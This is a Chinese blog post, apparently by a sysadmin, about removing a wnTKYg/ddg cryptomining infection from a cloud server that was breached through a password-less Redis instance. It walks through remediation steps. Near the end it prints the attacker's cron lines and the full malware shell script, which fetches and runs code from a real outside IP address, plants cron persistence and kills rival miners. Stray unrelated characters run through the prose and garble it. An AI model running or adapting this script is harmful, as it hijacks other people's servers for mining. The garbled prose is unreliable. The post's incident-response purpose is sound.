阿里云服務(wù)器被掛馬wnTKYg挖礦的清理
-今天早上剛下地鐵狮暑,女朋友發(fā)來微信詢問我vpn上不去了艰躺,看了一下騰訊云的服務(wù)器除了問題侄泽,vpn所在文件夾沒了绍撞,本來打算上班第一件事處理這個(gè)事情正勒。到了公司后,測試項(xiàng)目阿里云服務(wù)器cpu滿載報(bào)警傻铣,開發(fā)那邊也說服務(wù)器卡慢章贞。
我上去top了一下,多了個(gè)wnTKYg進(jìn)程非洲,cpu占用401%鸭限。我天,這還了得两踏,但是不能著急把這個(gè)進(jìn)程kill掉败京,得看看這個(gè)進(jìn)程的原始文件在什么位置
locate wnTKYg
命令一上屏,遂將這個(gè)程序位置暴露出來梦染,竟然在/tmp下赡麦。百度查了查據(jù)說這個(gè)是redis允許遠(yuǎn)程連接并且沒設(shè)密碼的關(guān)系,正好符合我們新項(xiàng)目測試的環(huán)境帕识,趕緊打開/etc/redis.conf文件 把bind 127.0.0.1的注釋del掉了泛粹,重啟redis。測試從外部機(jī)器上登錄redis已經(jīng)登不上了肮疗。
接下來改著手干掉這個(gè)進(jìn)程了晶姊,二話不說直接kill -9掉這個(gè)進(jìn)程,cd到/tmp下 把這個(gè)文件打個(gè)包伪货,傳到本地電腦上们衙,有時(shí)間研究研究。tar打包并傳輸完成再次top的時(shí)候發(fā)現(xiàn)這個(gè)進(jìn)程又復(fù)活了超歌,首先想到的是crond里面有計(jì)劃任務(wù)砍艾,打開crontab -e查看沒什么異常。 cat /etc/crontab
也沒有異常巍举。情急之下找到這篇文章http://blog.sina.com.cn/s/blog_c08907b10102wyyl.html
處理方法和建議:
- 1.根據(jù)這個(gè)提示脆荷,發(fā)現(xiàn)/tmp下還有個(gè)ddg.2021文件,這個(gè)文件在進(jìn)程里面也確實(shí)存在,直接kill -9 ddg.2021進(jìn)程和wnTKYg進(jìn)程的pid蜓谋。
- 2.然后刪除/tmp下的ddg.2021和wnTKYg文件,發(fā)現(xiàn)還有個(gè)imWBR1文件也一并刪除了梦皮。/tmp下的帶執(zhí)行權(quán)限的文件總會(huì)引起懷疑。
- 3.把/tmp文件夾的執(zhí)行權(quán)限去掉桃焕,改成644剑肯。
-
ls /var/spool/
進(jìn)去cron里面看了一下,有個(gè)叫root的腳本观堂,內(nèi)容如下:
-
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
直接刪除這cron文件夾让网,OK了
- 5.更改redis只能本地登錄,設(shè)置redis認(rèn)證密碼师痕。
- 6.關(guān)閉挖礦服務(wù)器訪問:
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
再次ps aux |grep wnTKYg 和 ps aux |grep |ddg.2021的時(shí)候沒有發(fā)現(xiàn)這倆進(jìn)程溃睹。
保險(xiǎn)起見ps aux |grep imWBR1 這個(gè)是剛剛刪除的tmp文件夾下有執(zhí)行權(quán)限的文件,也并沒有該進(jìn)程胰坟,仔細(xì)檢查top之后因篇,發(fā)現(xiàn)恢復(fù)正常。
總結(jié):
這種掛馬鉆的空子總是新項(xiàng)目測試項(xiàng)目的redis沒有安全防護(hù)笔横,用的默認(rèn)配置竞滓,免密遠(yuǎn)程登錄。大家多多注意安全吹缔,做好防護(hù)商佑。安全生產(chǎn)最重要!
最后貼出來這個(gè)掛馬shell腳本:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.2021" ]; then
curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021
fi
if [ ! -f "/tmp/ddg.2021" ]; then
wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021
fi
chmod +x /tmp/ddg.2021 && /tmp/ddg.2021
if [ ! -f "/tmp/imWBR1" ]; then
curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed
fi
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
NETMASK=255.255.255.0